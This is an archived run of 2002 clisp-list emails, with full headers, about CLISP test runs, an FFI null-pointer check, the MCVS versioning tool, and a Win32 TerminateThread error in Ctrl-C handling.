Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C51DD72.C96FE0CB@stargate.net> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 26 11:47:02 2002 X-Original-Date: 26 Jan 2002 14:45:59 -0500 > * In message <3C51DD72.C96FE0CB@stargate.net> > * On the subject of "[clisp-list] clisp apparently hangs" > * Sent on Fri, 25 Jan 2002 17:34:26 -0500 > * Honorable Nico writes: > > Out of boredom I ran the following on CLISP today if you have nothing better to do with your time, maybe you could write some code for us? See --> Tasks () > (load "aima.lisp") > (aima-load 'all) you forgot (aima-compile) > (dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n))) with the current CVS CLISP on a nt4sp6 400MHz, > (time (test 'all)) ... Real time: 65.204 sec. Run time: 39.67705 sec. Space: 55824376 Bytes GC: 36, GC time: 19.588167 sec. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! MS: Brain off-line, please wait. From jnswart@stargate.net Sat Jan 26 16:08:12 2002 Received: from smtp3.mx.pitdc1.stargate.net ([206.210.69.143]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ucrh-0006Kd-00 for ; Sat, 26 Jan 2002 16:08:10 -0800 Received: (qmail 18543 invoked from network); 26 Jan 2002 23:28:37 -0000 Received: from dap-208-40-142-217.tnt-1.npt.prihub.pa.stargate.net (HELO stargate.net) (208.40.142.217) by smtp3.mx.pitdc1.stargate.net with SMTP; 26 Jan 2002 23:28:37 -0000 Message-ID: <3C533A47.F2503ED8@stargate.net> From: Nico X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i386) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] clisp apparently hangs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 26 16:09:02 2002 X-Original-Date: Sat, 26 Jan 2002 18:22:47 -0500 >if you have nothing better to do with your time, >maybe you could write some code for us? >See --> Tasks >() Was actually more curious to 'test' the garbage collector. I'll take a look at the tasks anyway and see if I can contribute. >> (load "aima.lisp") >> (aima-load 'all) >you forgot (aima-compile) The files were compiled. I did not mention that step >> (dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n))) with the current CVS CLISP on a nt4sp6 400MHz, >> (time (test 'all)) ... >Real time: 65.204 sec. >Run time: 39.67705 sec. >Space: 55824376 Bytes >GC: 36, GC time: 19.588167 sec. what about the dotimes form ? I evaluated the form again and each time the system hung, I interrupted it and typed :rd . Doing this four times eventually evaluated the form : (dotimes (n 100) (test 'all) (format t "~%Test number = ~A~%" (1+ n))) successfully. From samuel.steingold@verizon.net Sun Jan 27 11:24:34 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Uuun-0004vX-00 for ; Sun, 27 Jan 2002 11:24:34 -0800 Received: from xchange.com ([151.203.224.58]) by out020.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020127192427.ZAJH4908.out020.verizon.net@xchange.com>; Sun, 27 Jan 2002 13:24:27 -0600 To: Kaz Kylheku Cc: Subject: Re: [clisp-list] Strangeness involving FFI pointers and ext:saveimage. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 27 11:25:03 2002 X-Original-Date: 27 Jan 2002 14:23:29 -0500 > * In message > * On the subject of "[clisp-list] Strangeness involving FFI pointers and ext:saveimage." > * Sent on Sat, 26 Jan 2002 10:29:50 -0800 (PST) > * Honorable Kaz Kylheku writes: > > I'd like to know what the recommended way is to test for > null pointers coming out of the FFI. Should I convert > #<... #x00000000> to a string and parse out the hex or what? > Or compile in a C function to do it? I have no idea what _was_ the right way before, so I just added a function FFI:FOREIGN-ADDRESS-NULL which will check for a NULL pointer. (in the CVS now) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Linux - find out what you've been missing while you've been rebooting Windows From samuel.steingold@verizon.net Sun Jan 27 12:50:59 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UwGQ-0004Dc-00 for ; Sun, 27 Jan 2002 12:50:58 -0800 Received: from xchange.com ([151.203.224.58]) by out019.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020127205056.KECN9107.out019.verizon.net@xchange.com> for ; Sun, 27 Jan 2002 14:50:56 -0600 To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] win32 gurus? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 27 12:51:02 2002 X-Original-Date: 27 Jan 2002 15:49:56 -0500 when you start CLISP under win32 (or, rather, when _I_ start the current CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but issues an error message: *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect. this message comes from the TerminateThread() call in win32aux.d: local BOOL temp_interrupt_handler(CtrlType) var DWORD CtrlType; { if (CtrlType == CTRL_C_EVENT || CtrlType == CTRL_BREAK_EVENT) { # Could invoke a signal handler at this point.?? if (interruptible_active) { # Set interruptible_active to false, so we won't get here a # second time and try to terminate the same thread twice. interruptible_active = false; # Terminate the interruptible operation, set the exitcode to 1. if (interruptible_socketp) { WSACancelBlockingCall(); } if (!TerminateThread(interruptible_thread,1+CtrlType)) { OS_error(); } } # Don't invoke the other handlers (in particular, the default handler) return true; } else { # Do invoke the other handlers. return false; } } can a win32 guru explain this to me (or, better yet, earn eternal fame by winning a mention in the CLISP ChangeLog by submitting a patch :-) (note that interruptible_thread at that moment does contain a thread created in DoInterruptible()) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! NY survival guide: when crossing a street, mind cars, not streetlights. From kaz@footprints.net Sun Jan 27 12:56:53 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16UwM9-0005Qz-00 for ; Sun, 27 Jan 2002 12:56:53 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16UwM5-0001Nd-00; Sun, 27 Jan 2002 12:56:49 -0800 From: Kaz Kylheku To: Sam Steingold cc: Subject: Re: [clisp-list] Strangeness involving FFI pointers and ext:saveimage. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 27 12:57:03 2002 X-Original-Date: Sun, 27 Jan 2002 12:56:49 -0800 (PST) On 27 Jan 2002, Sam Steingold wrote: > > * Honorable Kaz Kylheku writes: > > > > I'd like to know what the recommended way is to test for > > null pointers coming out of the FFI. Should I convert > > #<... #x00000000> to a string and parse out the hex or what? > > Or compile in a C function to do it? > > I have no idea what _was_ the right way before, so I just added a > function FFI:FOREIGN-ADDRESS-NULL which will check for a NULL pointer. Thank you very much for this! Good name too, no -P suffix, perfectly consistent with the standard NULL predicate. ;) > (in the CVS now) ^^^ Speaking of which, i've developed a Lisp layer over CVS called MCVS. (Currently requires CLISP and Linux, but should be portable to other Lisps and systems). This is the project in which I was having the little FFI problem above. Remember that little discussion we had a while back in the GNU mailing list, concerning file renaming in the gnu-cvs mailing list? MCVS versions the directory structure. It requires no modifications to CVS at all. And it's very close to ready for a 0.0 alpha release. MCVS is packaged up as a shell utility, which you can use like this: mcvs mv *.lisp src # move all the lisp files into a src/ subdir mcvs *.txt *.html doc # move text and HTML files into doc/ emacs doc/readme.html # also make changes to a file vi doc/readme.txt # or two (keeping things politically neutral) mcvs diff | mcvs filt # view diffs, decode machine-generated names mcvs ci # commit all of the above Developers can even change the directory structure in parallel and then merge. What's more, it's possible to distribute patches which are made against the MCVS representation of your project. So in principle good old diff and patch are amplified to do filesystem restructuring too. I'm already using MCVS to version its own sources. And I've already used the move command more than once! You don't realize just how great it is to have this until you have it. Lisp is about to shake up the CVS world a little. I hope. :) From ampy@ich.dvo.ru Sun Jan 27 21:31:38 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16V4O6-0007B3-00 for ; Sun, 27 Jan 2002 21:31:27 -0800 Received: (qmail 1488 invoked from network); 28 Jan 2002 05:30:39 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 28 Jan 2002 05:30:39 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Mon, 28 Jan 2002 15:22:27 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <88249696875.20020128152226@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 27 21:32:02 2002 X-Original-Date: Mon, 28 Jan 2002 15:22:26 +1000 Hello, Sam, Monday, January 28, 2002, 6:49:56 AM, you wrote: Sam> when you start CLISP under win32 (or, rather, when _I_ start the current Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but Sam> issues an error message: Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect. Sam> this message comes from the TerminateThread() call in win32aux.d: Seems that it was introduced by last patches. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From ampy@ich.dvo.ru Mon Jan 28 00:03:08 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16V6kb-0008RW-00 for ; Mon, 28 Jan 2002 00:02:49 -0800 Received: (qmail 17319 invoked from network); 28 Jan 2002 08:02:18 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 28 Jan 2002 08:02:18 -0000 Received: from localhost [127.0.0.1] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Mon, 28 Jan 2002 17:47:35 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <124258404706.20020128174734@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 00:04:02 2002 X-Original-Date: Mon, 28 Jan 2002 17:47:34 +1000 Hello, Sam, Monday, January 28, 2002, 6:49:56 AM, you wrote: Sam> when you start CLISP under win32 (or, rather, when _I_ start the current Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but Sam> issues an error message: Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect. I make clean, removed all objs, recompiled lisp and problem gone. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Mon Jan 28 06:05:46 2002 Received: from mta018pub.verizon.net ([206.46.170.224] helo=mta018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VCPp-0005Jx-00 for ; Mon, 28 Jan 2002 06:05:45 -0800 Received: from xchange.com ([151.203.224.58]) by mta018.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020128140538.CWWT14580.mta018.verizon.net@xchange.com>; Mon, 28 Jan 2002 08:05:38 -0600 To: Arseny Slobodjuck Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? References: <124258404706.20020128174734@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <124258404706.20020128174734@ich.dvo.ru> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 06:06:05 2002 X-Original-Date: 28 Jan 2002 09:04:31 -0500 > * In message <124258404706.20020128174734@ich.dvo.ru> > * On the subject of "Re: [clisp-list] win32 gurus?" > * Sent on Mon, 28 Jan 2002 17:47:34 +1000 > * Honorable Arseny Slobodjuck writes: > > Hello, Sam, > > Monday, January 28, 2002, 6:49:56 AM, you wrote: > > Sam> when you start CLISP under win32 (or, rather, when _I_ start the current > Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but > Sam> issues an error message: > > Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect. > > I make clean, removed all objs, recompiled lisp and problem gone. this is strange - I observe it even with the released version. (you don't always see the message, but the file location [win32aux.d:99] is always there) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! There is Truth, and its value is T. Or just non-NIL. So 0 is True! From olczyk@interaccess.com Mon Jan 28 09:31:16 2002 Received: from from.interaccess.com ([207.208.131.20] helo=postal.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VFch-0008Tu-00 for ; Mon, 28 Jan 2002 09:31:15 -0800 Received: from d197.focal10.interaccess.com (d197.focal10.interaccess.com [207.208.141.197]) by postal.interaccess.com (8.10.2/8.10.2) with SMTP id g0SHV0M15511; Mon, 28 Jan 2002 11:31:02 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: sds@gnu.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c5688e5.86830781@smtp.interaccess.com> References: In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 09:32:05 2002 X-Original-Date: Mon, 28 Jan 2002 17:31:18 GMT On 27 Jan 2002 15:49:56 -0500, Sam Steingold wrote: >when you start CLISP under win32 (or, rather, when _I_ start the current >CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but >issues an error message: > >*** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is = incorrect. > >this message comes from the TerminateThread() call in win32aux.d: > > local BOOL temp_interrupt_handler(CtrlType) > var DWORD CtrlType; > { > if (CtrlType =3D=3D CTRL_C_EVENT || CtrlType =3D=3D = CTRL_BREAK_EVENT) { > # Could invoke a signal handler at this point.?? > if (interruptible_active) { > # Set interruptible_active to false, so we won't get here a > # second time and try to terminate the same thread twice. > interruptible_active =3D false; > # Terminate the interruptible operation, set the exitcode to = 1. > if (interruptible_socketp) { > WSACancelBlockingCall(); > } > if (!TerminateThread(interruptible_thread,1+CtrlType)) { > OS_error(); > } > } > # Don't invoke the other handlers (in particular, the default = handler) > return true; > } else { > # Do invoke the other handlers. > return false; > } > } > Please don't tell me gcc is now using # for comments. Looking up the number the only information I can find is that it is an invalid parameter. Best guess is that the calling thread is dead. The second parameter ( from what I've seen ) does not do anything So it must be the first that is the problem The way to make sure is to store created thread IDs in a vector. Then as each thread dies or is terminated, have it check it's id, and have each remove it's id from the vector. Then have it scream you try to kill a thread that is already dead. >can a win32 guru explain this to me (or, better yet, earn eternal fame >by winning a mention in the CLISP ChangeLog by submitting a patch :-) >(note that interruptible_thread at that moment does contain a thread >created in DoInterruptible()) From samuel.steingold@verizon.net Mon Jan 28 09:58:14 2002 Received: from mta018pub.verizon.net ([206.46.170.224] helo=mta018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VG2m-0006zd-00 for ; Mon, 28 Jan 2002 09:58:13 -0800 Received: from xchange.com ([151.203.224.58]) by mta018.verizon.net (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP id <20020128175811.EFLG14580.mta018.verizon.net@xchange.com>; Mon, 28 Jan 2002 11:58:11 -0600 To: olczyk@interaccess.com Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? References: <3c5688e5.86830781@smtp.interaccess.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3c5688e5.86830781@smtp.interaccess.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 09:59:02 2002 X-Original-Date: 28 Jan 2002 12:56:55 -0500 > * In message <3c5688e5.86830781@smtp.interaccess.com> > * On the subject of "Re: [clisp-list] win32 gurus?" > * Sent on Mon, 28 Jan 2002 17:31:18 GMT > * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > > The way to make sure is to store created thread IDs in a vector. > Then as each thread dies or is terminated, have it check it's id, > and have each remove it's id from the vector. Then have it scream you > try to kill a thread that is already dead. is this the only way to check whether the thread is alive?! -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! "Complete Idiots Guide to Running LINUX Unleashed in a Nutshell for Dummies" From tsabin@optonline.net Mon Jan 28 10:27:54 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VGVV-0005IL-00 for ; Mon, 28 Jan 2002 10:27:53 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id NAA22280; Mon, 28 Jan 2002 13:27:46 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Sun, 27 Jan 2002 15:49:56 -0500") Message-ID: Lines: 29 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 10:28:06 2002 X-Original-Date: 28 Jan 2002 13:27:46 -0500 Sam Steingold writes: > when you start CLISP under win32 (or, rather, when _I_ start the current > CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but > issues an error message: > > *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect. > [...] Like the other poster, I don't see this with current CVS on nt4sp6 or win2k. > can a win32 guru explain this to me (or, better yet, earn eternal fame > by winning a mention in the CLISP ChangeLog by submitting a patch :-) > (note that interruptible_thread at that moment does contain a thread > created in DoInterruptible()) As the man page says, TerminateThread is a bad idea, generally. You may be seeing odd side-effects of using it. If used enough, it will eventually ruin your day. The safe way to do what that code wants to do is by having the main thread create an event, which it passes to the child thread. The child thread then does WaitForMultipleObjects on that event and the handle it wants to do IO on. If the ControlHandler is called, it sets that event, which wakes the child thread and lets it return gracefully (but unsuccessfully). No more TerminateThread. Todd From ampy@ich.dvo.ru Mon Jan 28 15:34:51 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VLIM-0007MJ-00 for ; Mon, 28 Jan 2002 15:34:38 -0800 Received: from ppp98-AS-2.vtc.ru (ppp98-AS-2.vtc.ru [212.16.216.98]) by vtc.ru (8.12.2.Beta3/8.12.2.Beta3) with ESMTP id g0SNXqeO004547; Tue, 29 Jan 2002 09:33:54 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1481056238.20020129094559@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] win32 gurus? In-reply-To: References: <124258404706.20020128174734@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 15:35:04 2002 X-Original-Date: Tue, 29 Jan 2002 09:45:59 +1000 Hello Sam, Tuesday, January 29, 2002, 12:04:31 AM, you wrote: >> Sam> when you start CLISP under win32 (or, rather, when _I_ start the current >> Sam> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but >> Sam> issues an error message: >> >> Sam> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is incorrect. >> >> I make clean, removed all objs, recompiled lisp and problem gone. Sam> this is strange - I observe it even with the released version. Yep... In 2.27 error persists... -- Best regards, Arseny mailto:ampy@ich.dvo.ru From olczyk@interaccess.com Mon Jan 28 16:37:37 2002 Received: from from.interaccess.com ([207.208.131.20] helo=mcfeely.interaccess.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VMHI-0001gk-00 for ; Mon, 28 Jan 2002 16:37:36 -0800 Received: from d31.focal10.interaccess.com (d31.focal10.interaccess.com [207.208.141.31]) by mcfeely.interaccess.com (8.10.2/8.10.2) with SMTP id g0T0bRC07055; Mon, 28 Jan 2002 18:37:28 -0600 (CST) From: olczyk@interaccess.com (Thaddeus L. Olczyk) To: Todd Sabin Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? Organization: stickit@nospammers.com Reply-To: olczyk@interaccess.com Message-ID: <3c58e368.110001843@smtp.interaccess.com> References: In-Reply-To: X-Mailer: Forte Agent 1.5/32.451 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 16:38:02 2002 X-Original-Date: Tue, 29 Jan 2002 00:37:48 GMT On 28 Jan 2002 13:27:46 -0500, Todd Sabin wrote: >Sam Steingold writes: > >> when you start CLISP under win32 (or, rather, when _I_ start the = current >> CVS CLISP under nt4sp6 :-) and hit C-c, CLISP dies (as it should), but >> issues an error message: >>=20 >> *** - Win32 error 87 (ERROR_INVALID_PARAMETER): The parameter is = incorrect. >> [...] > >Like the other poster, I don't see this with current CVS on nt4sp6 or >win2k. > >> can a win32 guru explain this to me (or, better yet, earn eternal fame >> by winning a mention in the CLISP ChangeLog by submitting a patch :-) >> (note that interruptible_thread at that moment does contain a thread >> created in DoInterruptible()) > >As the man page says, TerminateThread is a bad idea, generally. You >may be seeing odd side-effects of using it. If used enough, it will >eventually ruin your day. The safe way to do what that code wants to >do is by having the main thread create an event, which it passes to >the child thread. The child thread then does WaitForMultipleObjects >on that event and the handle it wants to do IO on. If the >ControlHandler is called, it sets that event, which wakes the child >thread and lets it return gracefully (but unsuccessfully). No more >TerminateThread. > > Rather than sending Windows messages around, I prefer to create a bool valiable that the parent toggles when it wants the child to stop. The infinite loop then terminates and the function called by the thread exits, killing the thread. From tsabin@optonline.net Mon Jan 28 19:21:49 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16VOqC-00025n-00 for ; Mon, 28 Jan 2002 19:21:48 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id WAA24957; Mon, 28 Jan 2002 22:21:40 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: olczyk@interaccess.com Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] win32 gurus? References: <3c58e368.110001843@smtp.interaccess.com> From: Todd Sabin In-Reply-To: <3c58e368.110001843@smtp.interaccess.com> (olczyk@interaccess.com's message of "Tue, 29 Jan 2002 00:37:48 +0000 (GMT)") Message-ID: Lines: 27 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 28 19:22:02 2002 X-Original-Date: 28 Jan 2002 22:21:40 -0500 olczyk@interaccess.com (Thaddeus L. Olczyk) writes: > >As the man page says, TerminateThread is a bad idea, generally. You > >may be seeing odd side-effects of using it. If used enough, it will > >eventually ruin your day. The safe way to do what that code wants to > >do is by having the main thread create an event, which it passes to > >the child thread. The child thread then does WaitForMultipleObjects > >on that event and the handle it wants to do IO on. If the > >ControlHandler is called, it sets that event, which wakes the child > >thread and lets it return gracefully (but unsuccessfully). No more > >TerminateThread. > > > Rather than sending Windows messages around, I prefer to create a Events are not the same as windows messages. > bool valiable that the parent toggles when it wants the child to stop. > The infinite loop then terminates and the function called by the > thread exits, killing the thread. If you don't mind busy waiting you can do that, but I try to avoid sending the processor to 100% when not doing anything. Using an event does the same thing you're talking about in principle, but without the busy wait. Todd From olczyk@interaccess.com Tue Jan 29 